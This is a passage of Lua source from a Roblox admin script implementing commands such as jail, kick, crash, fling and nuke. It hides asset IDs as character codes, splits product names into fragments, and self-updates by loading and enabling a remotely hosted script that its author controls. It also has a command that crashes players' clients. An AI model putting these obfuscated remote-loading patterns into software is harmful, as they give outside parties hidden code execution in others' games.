905function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
906 if IsAbusive == nil then IsAbusive = false end
907 if Commands[CommandName] then table.remove(Commands[CommandName]) end
908 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
909end
910
911function CORE:FixLighting() coroutine.wrap(function()
912 ModLighting = false
913 wait(0.2)
914 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
915 Server.Lighting.FogColor = Color3.new(0,0,0)
916 Server.Lighting.Brightness = 1
917 Server.Lighting.TimeOfDay = 14
918 Server.Lighting.FogEnd = 100000
919end)() end
920
921function CORE:Round(Number)
922 if Number >= 0.5 then
923 return math.ceil(Number)
924 elseif Number < 0.5 then
925 return math.floor(Number)
926 end
927end
928
929local AdminID,Got = nil,false
930repeat wait()
931 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
932until Got == true
933
934function CORE:GetTable(ID)
935 local Thing = nil
936 repeat wait()
937 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
938 until Thing
939 return Thing
940end
941
942function CORE:InAdminGroup(Speaker)
943 local IsIn = false
944 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
945 if Speaker:IsInGroup(Get) then
946 IsIn = true
947 end
948 end
949 if IsIn == true then
950 return true
951 else
952 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
953 return false
954 end
955end
956
957function CORE:ReverseTable(Table)
958 if type(Table) ~= "table" then return Table end
959 local NewTable = {}
960 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
961 return NewTable
962end
963
964function CORE:Log(LogTable, Player, Chat)
965 local PlayerName = tostring(Player)
966 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
967 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
968end
969
970function CORE:Jail(Player)
971 if not Player then return nil end
972 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
973 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
974 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
975 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
976 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
977 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
978 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
979 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
980 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
981 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
982 Cell:MoveTo(Vector3.new(0,3,0))
983
984 if Player.Character and Player.Character:FindFirstChild("Torso") then
985 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
986 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
987 end
988 table.insert(Dispose, Cell)
989 Jails[Player.Name] = Cell
990end
991
992function CORE:UnJail(Player)
993 if not Player then return nil end
994 if Jails[Player.Name] then
995 Jails[Player.Name]:Destroy()
996 Jails[Player.Name] = nil
997 end
998end
999
1000function CORE:ChangeName(Player, NewName)
1001 if not Player or not NewName then return nil end
1002 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
1003 local NewName = STRING:FormatReplace(Player, NewName)
1004
1005 for _,Obj in pairs(Player.Character:GetChildren()) do
1006 if Obj.Name == "Label" then Obj:Destroy() end
1007 end
1008
1009 local Head = Player.Character.Head
1010 local HeadClone = Head:Clone()
1011
1012 -- make actual head invisible
1013 Head.Transparency = 1
1014 ypcall(function() Head.face.Transparency = 1 end)
1015
1016 -- make fake head visible
1017 HeadClone.Transparency = 0
1018 ypcall(function() HeadClone.face.Transparency = 0 end)
1019
1020 local Label = Instance.new("Model", Player.Character)
1021 Label.Name = "Label"
1022
1023 local Model = Instance.new("Model", Label)
1024 Model.Name = NewName
1025
1026 local HumanoidClone = Instance.new("Humanoid", Model)
1027 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
1028
1029 HeadClone.Position = Vector3.new(0,100,0)
1030 HeadClone.CanCollide = false
1031 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
1032
1033
1034 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
1035 HeadClone.Parent = Model
1036 local Weld = Instance.new("Weld", HeadClone)
1037 Weld.Part0 = HeadClone
1038 Weld.Part1 = Head
1039 end)
1040 end
1041end
1042
1043function CORE:UpdateAdmin()
1044 if Server.Storage:FindFirstChild("PreventMMLUpdate") then
1045 return nil
1046 end
1047 local UpdateModel = AdminID
1048 if UpdateModel == 0 then return end
1049 local NewAdminModel = nil
1050 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1051 if NewAdminModel then
1052 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1053 if NewAdmin then
1054 local NewVersion = NewAdmin:FindFirstChild("Version")
1055 if NewVersion.Value ~= CORE.Version.Value then
1056 if ExploitModule then
1057 ExploitModule.Disabled = true
1058 ExploitModule:Destroy()
1059 end
1060 NewAdmin.Disabled = true
1061 NewAdmin.Parent = Workspace
1062 if not Settings then
1063 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1064 if NewSettings then NewSettings.Parent = Workspace end
1065 end
1066 wait() NewAdmin.Disabled = false
1067 CORE:RemoveAdmin()
1068 else
1069 NewAdminModel:Destroy()
1070 end
1071 end
1072 end
1073end
1074
1075function CORE:UnpackPlayers(Players)
1076 local PlayerNames = ""
1077 for Num,Player in pairs(Players) do
1078 if Player ~= nil then
1079 if Num ~= #Players then
1080 PlayerNames = PlayerNames..Player.Name..", "
1081 else
1082 PlayerNames = PlayerNames..Player.Name
1083 end
1084 end
1085 end
1086 return PlayerNames
1087end
1088
1089function CORE:GetValue(Value)
1090 if Value:IsA("StringValue") then
1091 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1092 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1093 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1094 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1095 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1096 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1097 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1098 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1099 if Admin == Value.Value then
1100 table.remove(Settings.Ranks["Admin"],Num)
1101 end
1102 end
1103 end end
1104 end
1105end
1106
1107function CORE:GetPlayer(ID)
1108 local Return = {"Unknown", ID}
1109 if tonumber(ID) then
1110 for _,Data in pairs(CharacterCache) do
1111 if ID == Data[2] then
1112 return Data
1113 end
1114 end
1115 ypcall(function()
1116 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1117 if Name then
1118 local Data = {Name, ID}
1119 table.insert(CharacterCache, Data)
1120 Return = Data
1121 end
1122 end)
1123 else
1124 local Name = tostring(ID)
1125 for _,Data in pairs(CharacterCache) do
1126 if string.lower(Name) == string.lower(Data[1]) then
1127 return Data
1128 end
1129 end
1130 ypcall(function()
1131 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1132 if PlayerID then
1133 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1134 local Data = {Name, PlayerID}
1135 table.insert(CharacterCache, Data)
1136 Return = Data
1137 end
1138 end)
1139 end
1140
1141 return Return
1142end
1143
1144function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1145 if ID and #tostring(ID) >= 1 then
1146 local PlayerName = nil
1147
1148 local Players = STRING:Scan(ID, Speaker)
1149 if #Players >= 1 then -- if player is found in server
1150 ID = Players[1].UserId
1151 elseif tonumber(ID) then
1152 local Data = CORE:GetPlayer(ID)
1153 PlayerName = Data[1]
1154 else
1155 local Data = CORE:GetPlayer(tostring(ID))
1156 PlayerName = Data[1]
1157 ID = Data[2]
1158 end
1159
1160 if tonumber(ID) == 20018 then -- exploding easter bunny
1161 local OldID = ID
1162 ID = 1
1163 if Speaker then
1164 if RANK:GetRank(Speaker) == "Member" then
1165 coroutine.wrap(function()
1166 wait(1)
1167 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1168 end)()
1169 else ID = OldID
1170 end
1171 end
1172 elseif tonumber(ID) == 1311 then -- ffjosh
1173 local OldID = ID
1174 ID = 1
1175 if Speaker then
1176 if RANK:GetRank(Speaker) == "Member" then
1177 coroutine.wrap(function()
1178 wait(1)
1179 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1180 end)()
1181 else ID = OldID
1182 end
1183 end
1184 end
1185
1186 if tonumber(ID) then
1187 local Position = nil
1188 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1189 if ManualPos then
1190 Position = ManualPos
1191 else
1192 Position = Player.Character.Torso.Position
1193 end
1194 end
1195 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1196 wait() Player:LoadCharacter() wait()
1197 if Position then Player.Character:MoveTo(Position) end
1198 if not Perm then
1199 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1200 end
1201 if NameChar and PlayerName then
1202 wait(2)
1203 CORE:ChangeName(Player, PlayerName)
1204 end
1205 end
1206 end
1207end)() end
1208
1209function CORE:GenerateShield(Player)
1210 if not Player then return nil end
1211 if not Player.Character then return nil end
1212 local Torso = Player.Character:FindFirstChild("Torso")
1213 if not Torso then return nil end
1214
1215 local Shield = Player.Character:FindFirstChild("Shield")
1216 if Shield then Shield:Destroy() end
1217
1218 Shield = Instance.new("Part", Player.Character)
1219 Shield.Name = "Shield"
1220 Shield.Locked = true
1221 Shield.CanCollide = false
1222 Shield.Size = Vector3.new(10,10,10)
1223 Shield.Shape = "Ball"
1224 Shield.Color = GUI:GetColor()
1225 Shield.Transparency = 0.5
1226 Shield.TopSurface = "Smooth"
1227 Shield.BottomSurface = "Smooth"
1228 Shield.Anchored = true
1229 Shield.Position = Torso.Position
1230
1231 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1232 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1233
1234 Hum:Play()
1235
1236 Shield.Touched:connect(function(Part)
1237 if Part.Parent ~= Server.Workspace then
1238 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1239 if Humanoid then
1240 local Char = Humanoid.Parent
1241 if Char:IsA("Model") and Humanoid.Health > 0 then
1242 if Char ~= Player.Character then
1243 Char:BreakJoints()
1244 Zap:Play()
1245 end
1246 end
1247 end
1248 end
1249 end)
1250
1251 coroutine.wrap(function() repeat wait()
1252 Shield.CFrame = Torso.CFrame
1253 until Torso.Parent == nil or Shield.Parent == nil end)()
1254end
1255
1256function CORE:FlingPlayer(Player)
1257 if Player and Player.Character then
1258 if Player.Character:FindFirstChild("Torso") then
1259 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1260 Fling.Name = "Fling"
1261 Fling.force = Vector3.new(10000,10000,10000)
1262 end
1263 end
1264end
1265
1266function CORE:Kick(Player, CustomMessage)
1267 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1268 coroutine.wrap(function()
1269 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1270 wait(1)
1271 Player:Kick(CustomMessage)
1272 end)()
1273end
1274
1275function CORE:Crash(Player)
1276 local Parent = Player
1277 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1278 elseif Player.Character then Parent = Player.Character end
1279
1280 CORE:ExecuteResource("Crash", Parent)
1281end
1282
1283function CORE:RestoreCamera(Player)
1284 if Player.Backpack then
1285 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1286 end
1287end
1288
1289function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1290 local function ScanInstance(Object)
1291 if #Object:GetChildren() > 0 then
1292 for _,Obj in pairs(Object:GetChildren()) do
1293 local IsType = false
1294 if ObjTypes and #ObjTypes > 0 then
1295 for _,ObjType in pairs(ObjTypes) do
1296 if Obj:IsA(ObjType) then
1297 IsType = true
1298 break
1299 end
1300 end
1301 else
1302 IsType = true
1303 end
1304 if IsType == true then
1305 ActiveFunc(Obj)
1306 end
1307 ScanInstance(Obj)
1308 end
1309 end
1310 end
1311 ScanInstance(BaseObj)
1312end
1313
1314function CORE:AnchorPlayer(Player)
1315 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1316
1317 Player.Character.Humanoid.WalkSpeed = 0
1318 for _,Object in pairs(Player.Character:GetChildren()) do
1319 if Object:IsA("BasePart") then
1320 Object.Anchored = true
1321 end
1322 end
1323end
1324
1325function CORE:UnanchorPlayer(Player)
1326 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1327
1328 Player.Character.Humanoid.WalkSpeed = 16
1329 for _,Object in pairs(Player.Character:GetChildren()) do
1330 if Object:IsA("BasePart") then
1331 Object.Anchored = false
1332 end
1333 end
1334end
1335
1336function CORE:InvisiblePlayer(Player)
1337 if not Player or not Player.Character then return end
1338
1339 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1340end
1341
1342function CORE:VisiblePlayer(Player)
1343 if not Player or not Player.Character then return end
1344
1345 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1346end
1347
1348function CORE:Nuke(Player) coroutine.wrap(function()
1349 local Pos = CFrame.new(0,1,0)
1350 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1351 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1352 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1353 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1354 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1355 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1356
1357 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1358
1359 Server.Lighting.Brightness = 5
1360 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1361 Server.OutdoorAmbient = Color3.new(1,1,1)
1362
1363 local Exp = Instance.new("Explosion", Server.Workspace)
1364 Exp.Position = Pos.p
1365 Exp.BlastPressure = 10000000
1366 Exp.BlastRadius = 1000000
1367 Exp.Hit:connect(function(Part)
1368 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1369 ypcall(function()
1370 Part.Anchored = false
1371 Part.BrickColor = BrickColor.new("Black")
1372 Part.Material = "Slate"
1373 Part:BreakJoints()
1374 end)
1375 end
1376 end)
1377
1378 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1379 BoomSound:Play()
1380 for i = 0,100,0.5 do
1381 Blast.Anchored = true
1382 Wave.Anchored = true
1383 BlastMesh.Scale = Vector3.new(i,i,i)
1384 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1385 Blast.CFrame = Pos
1386 wait()
1387 end
1388 BoomSound:Stop()
1389 Blast:Destroy()
1390 Wave:Destroy()
1391 wait()
1392 BoomSound:Destroy()
1393 Effect:Destroy()
1394 for i = 10,5,-1 do
1395 Server.Lighting.Brightness = (i-5) + 1
1396 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1397 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1398 wait(0.05)
1399 end
1400end)() end
1401
1402function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1403 local AssetID = tonumber(AssetID)
1404 local Item = nil
1405 if AssetID and AssetID ~= 1055299 then
1406 local CanInsert = true
1407 if AbuseMode then
1408 for _,ID in pairs(RemoteAbuseGear) do
1409 if AssetID == tonumber(ID) then CanInsert = false break end
1410 end
1411 for _,ID in pairs(Settings.AbusableGear) do
1412 if AssetID == tonumber(ID) then CanInsert = false break end
1413 end
1414 end
1415 if CanInsert then
1416 Item = Server.IS:LoadAsset(AssetID)
1417 if GetFirstChild then
1418 Item = Item:GetChildren()[1]
1419 if FirstChildTypes and Item then
1420 local ValidType = false
1421 for _,Type in pairs(FirstChildTypes) do
1422 if Item:IsA(Type) then
1423 ValidType = true
1424 break
1425 end
1426 end
1427 if ValidType == false then
1428 Item = nil
1429 end
1430 end
1431 end
1432 if Item and Parent then
1433 Item.Parent = Parent
1434 end
1435 end
1436 end
1437 return Item
1438end
1439
1440function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1441 if not Player or not Player.Character then return nil end
1442 PID = tonumber(PID)
1443 for _,Obj in pairs(Player.Character:GetChildren()) do
1444 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1445 end
1446 if PID then
1447 -- back when we needed HttpService to get packages.
1448 --[[
1449 if PackageCache[PID] then
1450 for _,ID in pairs(PackageCache[PID]) do
1451 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1452 end
1453 else
1454 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1455 if IDsJSON then
1456 local IDs = REMOTE:Decode(IDsJSON)
1457 if IDs then
1458 if not IDs["Error"] then
1459 table.insert(PackageCache, IDs)
1460 for _,ID in pairs(IDs) do
1461 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1462 end
1463 end
1464 end
1465 end
1466 end
1467 ]]
1468 -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
1469 local IDs = {}
1470 ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
1471 if #IDs > 0 then
1472 for _,ID in pairs(IDs) do
1473 local PackagePart = CORE:Insert(ID)
1474 for _,Obj in pairs(PackagePart:GetChildren()) do
1475 if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
1476 Obj.Parent = Player.Character
1477 elseif Obj:IsA("Folder") then
1478 if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
1479 Obj:GetChildren()[1].Parent = Player.Character
1480 end
1481 end
1482 end
1483 end
1484 end
1485 end
1486end)() end
1487
1488function CORE:ChangeBet(Bet)
1489 if tostring(Bet) and Bet ~= Settings.Bet then
1490 for Index,Data in pairs(Commands) do
1491 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1492 end
1493 Settings.Bet = Bet
1494 end
1495end
1496
1497function CORE:ResetLighting()
1498 ModLighting = false wait(0.2) ModLighting = true
1499end
1500
1501function CORE:Fly(Player, Force)
1502 if Player and Player.Character then
1503 local StopFly = Instance.new("RemoteFunction", Player.Character)
1504 StopFly.Name = "StopMMLFly"
1505 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1506 end
1507end
1508
1509function CORE:GiveTools(Player, Type)
1510 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1511 Type = string.lower(Type)
1512 local _,RankNum = RANK:GetRank(Player)
1513 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1514 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1515
1516 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1517 for Name,Type in pairs(BaseBuildTools) do
1518 local Tool = Instance.new("HopperBin", Player.Backpack)
1519 Tool.Name = Name
1520 Tool.BinType = Type
1521 end
1522 elseif Type == "psbtools" then
1523 for _,Tool in pairs(BuildTools) do
1524 CORE:Insert(Tool, Player.Backpack, true)
1525 end
1526 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1527 if F3X then
1528 local F3X = F3X:Clone()
1529 F3X.Parent = Player.Backpack
1530 end
1531 elseif Type == "btools" then
1532 if F3X then
1533 local F3X = F3X:Clone()
1534 F3X.Parent = Player.Backpack
1535 end
1536 for Name,Type in pairs(BaseBuildTools) do
1537 local Tool = Instance.new("HopperBin", Player.Backpack)
1538 Tool.Name = Name
1539 Tool.BinType = Type
1540 end
1541 for _,Tool in pairs(BuildTools) do
1542 CORE:Insert(Tool, Player.Backpack, true)
1543 end
1544 else
1545 for _,Region in pairs(ToolRegions) do
1546 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1547 if Type == "all" then
1548 local NewItem = Item:Clone()
1549 NewItem.Parent = Player.Backpack
1550 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1551 local NewItem = Item:Clone()
1552 NewItem.Parent = Player.Backpack
1553 end
1554 end)
1555 end
1556 end
1557end
1558
1559function CORE:Scale(Player, ScalePercent)
1560 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1561 local Ratio = ScalePercent/100
1562 if Ratio < 0.05 then Ratio = 0.05 end
1563 if Ratio > 100 then Ratio = 100 end
1564 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1565 local Char = Player.Character
1566
1567 local Clean = Char:FindFirstChild("Clean")
1568 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1569 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1570
1571 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1572 local Welds = {}
1573 local Parts = {}
1574
1575 local function Handle(Obj)
1576 if Obj:IsA("BasePart") and not JustWeld then
1577 table.insert(Parts, Obj)
1578 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1579 if Obj.Name == "MML Mesh" then
1580 Obj:Destroy()
1581 end
1582 if Obj.MeshType == Enum.MeshType.FileMesh then
1583 Obj.Offset = Obj.Offset * ScaleRatio
1584 Obj.Scale = Obj.Scale * ScaleRatio
1585 elseif Ratio < 1 then
1586 Obj.Offset = Obj.Offset * ScaleRatio
1587 Obj.Scale = Obj.Scale * ScaleRatio
1588 end
1589 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1590 if Ratio < 1 then
1591 local BodyPart = ""
1592 local TextureID = Obj.BaseTextureId
1593 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1594 if TextureID == 0 then TextureID = nil end
1595 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1596 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1597 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1598 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1599 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1600 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1601 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1602 NewMesh.Name = "MML Mesh"
1603 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1604 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1605 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1606 Obj:Destroy()
1607 end
1608 elseif Obj:IsA("JointInstance") then
1609 local NewWeld = Obj:Clone()
1610 table.insert(Welds, {NewWeld, Obj.Parent})
1611 elseif NewAdd == true and not JustWeld then
1612 if Obj:IsA("Tool") then
1613 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1614 elseif Obj:IsA("Accoutrement") then
1615 --Cycle(Char.Head, ScaleRatio, false, true)
1616 end
1617 end
1618 if #Obj:GetChildren() > 0 then
1619 for _,NewObj in pairs(Obj:GetChildren()) do
1620 Handle(NewObj, ScaleRatio)
1621 end
1622 end
1623 end
1624 Handle(BaseObj)
1625 for _,Part in pairs(Parts) do
1626 if Ratio >= 1 then
1627 Part.Size = Part.Size * ScaleRatio
1628 else
1629 local Allowed = true
1630 for _,Obj in pairs(Part:GetChildren()) do
1631 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1632 Allowed = false
1633 end
1634 end
1635 if Allowed == true then
1636 local NewMesh = Instance.new("BlockMesh", Part)
1637 NewMesh.Name = "MML Mesh"
1638 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1639 end
1640 end
1641 end
1642 for _,WeldData in pairs(Welds) do
1643 if WeldData[1] then
1644 local Obj = WeldData[1]
1645 local NewWeld = Obj:Clone()
1646
1647 NewWeld.Parent = WeldData[2]
1648 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1649 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1650 end
1651 end
1652 for _,Part in pairs(Parts) do
1653 Part:MakeJoints()
1654 end
1655 Welds = {}
1656 Parts = {}
1657 end
1658 Cycle(Char, Ratio)
1659 Char:MakeJoints()
1660
1661 local Added = Char.ChildAdded:connect(function(Obj)
1662 Cycle(Obj, Ratio, NewAdd)
1663 end)
1664 local Removed = Char.ChildRemoved:connect(function(Obj)
1665 Cycle(Obj, Ratio^-1, NewAdd)
1666 end)
1667
1668 Clean.OnInvoke = function()
1669 Added:disconnect()
1670 Removed:disconnect()
1671 local Location = Vector3.new(0,5,0)
1672 if Char:FindFirstChild("Torso") then
1673 Location = Char.Torso.Position + Vector3.new(0,2,0)
1674 end
1675 Player:LoadCharacter()
1676 wait(0.5)
1677 Player.Character:MoveTo(Location)
1678 wait(0.5)
1679 return nil
1680 end
1681
1682 if Char:FindFirstChild("Torso") then
1683 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1684 end
1685 if Char:FindFirstChild("Humanoid") then
1686 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1687 end
1688 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1689 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1690 end
1691end
1692
1693function CORE:AddExploit(PlayerClient, Data)
1694 local PlayerClientName = PlayerClient.Name
1695 local NewData = CORE:GetTime(true, true).." @ "..Data
1696 for _,Player in pairs(Server.Players:GetChildren()) do
1697 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1698 end
1699 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1700 if type(ExploitLog) ~= "table" then
